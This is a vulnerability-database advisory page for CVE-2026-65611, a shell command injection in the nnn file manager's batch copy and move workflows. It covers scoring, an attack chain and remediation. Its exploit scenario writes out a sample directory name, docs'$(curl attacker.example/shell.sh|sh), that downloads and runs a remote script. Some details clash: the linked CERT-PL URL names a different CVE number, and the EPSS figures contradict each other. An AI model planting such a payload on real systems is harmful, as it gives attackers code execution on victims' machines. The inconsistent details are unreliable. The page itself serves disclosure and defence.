Skip to main content

nnn file manager CVE-2026-65611

| EUVDEUVD-2026-62400 MEDIUM
OS Command Injection (CWE-78)
2026-08-19 CERT-PL GHSA-p5rm-3fq7-7mvj
5.1
CVSS 4.0 · Vendor: CERT-PL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts directory name with shell payload
  2. Delivery
    Places directory on shared filesystem, removable media, or archive
  3. Exploit
    Victim extracts archive or mounts shared filesystem
  4. Install
    Victim opens nnn and navigates into crafted directory
  5. C2
    Victim initiates batch copy or move workflow
  6. Execute
    nnn embeds unsanitized path into shell command
  7. Impact
    Injected shell payload executes as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must be satisfied simultaneously for exploitation. First, the victim must be using nnn as their file manager and must actively navigate into a directory whose name contains a single quote followed by shell metacharacters - passive directory listing or file preview does not trigger the vulnerability. Second, the victim must explicitly invoke the batch copy or move workflow while inside or acting on the crafted directory; other nnn operations such as renaming, opening, or viewing files are not affected. Third, the malicious directory must be reachable via a shared filesystem (NFS, SMB, SSHFS), removable media mount, or an extracted archive from an untrusted source - a standard home-directory tree created entirely by the victim user presents no attack surface. Exploitation is bounded by the victim's own Unix privileges; no privilege escalation beyond the nnn process user is described. The CVSS 4.0 UI:A metric confirms user interaction is mandatory and distinguishes this from remotely automatable attacks.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A accurately reflects the moderate but bounded real-world risk. AV:N acknowledges that the attack material can originate from network sources, and AC:L/AT:N confirm that no special conditions or timing requirements are needed to plant the malicious directory. However, UI:A is the primary limiting factor: exploitation is impossible without the victim actively navigating into the crafted directory and explicitly invoking the batch copy or move workflow - passive browsing does not trigger the vulnerability. Impact metrics VC:N/VA:N bound the direct damage to integrity only, with SC:L/SI:L/SA:L indicating limited spillover to subsequent systems. No EPSS score was provided in the available data, so probabilistic exploitation likelihood cannot be quantified. No CISA KEV listing and no public exploit code were identified at time of analysis, making this a credible but currently untriggered threat. The realistic priority is medium: relevant for environments where nnn users routinely work with untrusted shared filesystems or unpack third-party archives, low for environments where nnn is used only on fully trusted local storage.

Exploit ScenarioDerived

An attacker creates a directory named something like docs'$(curl attacker.example/shell.sh|sh) and places it on a shared NFS or SMB mount accessible to nnn users, or bundles it inside a ZIP or tar archive distributed via download. When a victim running nnn navigates into this directory and performs a batch copy or move, nnn constructs a shell command string with the unsanitized directory name embedded, the injected shell code escapes the string context and executes with the victim's user privileges. No public exploit code exists at time of analysis, but the technique maps directly to classic shell injection and requires no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Shell command injection in nnn file manager version 5.2 allows an attacker who controls a directory name on a shared filesystem, removable media, or inside an extracted archive to execute arbitrary shell commands with the privileges of the nnn process. The unsanitized path variable is embedded directly into shell commands generated by nnn's batch copy and move workflows, enabling a single-quote escape followed by shell metacharacters in a directory name to break out of the intended string context. No public exploit has been identified at time of analysis, but exploitation requires only that the victim navigate into the crafted directory and initiate a batch copy or move operation.

RemediationAI

No vendor-released patch version has been identified at time of analysis - the maintainer was notified but did not provide a confirmed fix version or vulnerable version range. Until a patched release is issued, users should disable use of the batch copy and move workflows when operating nnn on shared filesystems (NFS, SMB, SSHFS), removable media, or inside directories extracted from archives sourced from untrusted parties, as these are the delivery vectors for crafted directory names. Users can also inspect directory names for single-quote characters before entering them; nnn's preview or listing view does not trigger the vulnerability, so visual inspection is a viable compensating control with no functional trade-off. Restricting nnn use to fully trusted, locally-controlled filesystems eliminates the attack surface entirely. Monitor the CERT-PL advisory at https://cert.pl/en/posts/2026/08/CVE-2026-65609 and the upstream nnn repository for patch availability.

Affected VersionsENISA

nnn 5.2

Affected Packages

euvd nnn no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nnn is a terminal-based file manager for Unix-like systems that internally constructs shell command strings to perform batch file operations such as copy and move. The root cause, classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), is the failure to sanitize the path variable before embedding it into these generated shell commands. A directory name containing a single quote breaks the shell string context, and any subsequent shell syntax is then interpreted by the shell rather than treated as a literal path component. The CPE cpe:2.3:a:nnn:nnn:*:*:*:*:*:*:*:* identifies the nnn project directly; no third-party library is implicated. The CVSS 4.0 vector AV:N reflects that the malicious directory can be introduced via network-accessible shared filesystems (e.g., NFS, SMB) or through downloaded and extracted archives, extending the attack surface beyond purely local vectors.

Know when Nnn gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CERT-PL) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
vuln.today AI 4.3 MEDIUM

AV:N because directory delivered via network share or archive; UI:R mandatory for batch workflow; S:U since execution stays within victim user privileges; no confidentiality or availability impact confirmed.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
SUSE MEDIUM

Primary rating from Vendor (CERT-PL).

CVSS VectorVendor: CERT-PL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

DescriptionCVE.org

nnn does not sanitize the path variable. An attacker can create a directory on a shared filesystem, removable media, or inside an extracted archive whose name contains a single quote followed by shell syntax. If the victim enters that directory in nnn and uses the batch copy or move workflow, the crafted directory name is embedded into the generated shell command and the injected payload executes with the privileges of the nnn process.

Maintainer of this project was notified about this vulnerability. It might has been addressed, but the maintainer did not provide a vulnerable version range. Only version 5.2 was tested and confirmed as vulnerable.

Threat Intelligence Overview

EPSS Score
0.3%
Top 75% exploitable
Prevalence
Low
niche terminal file manager, primarily Linux/Unix power users
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy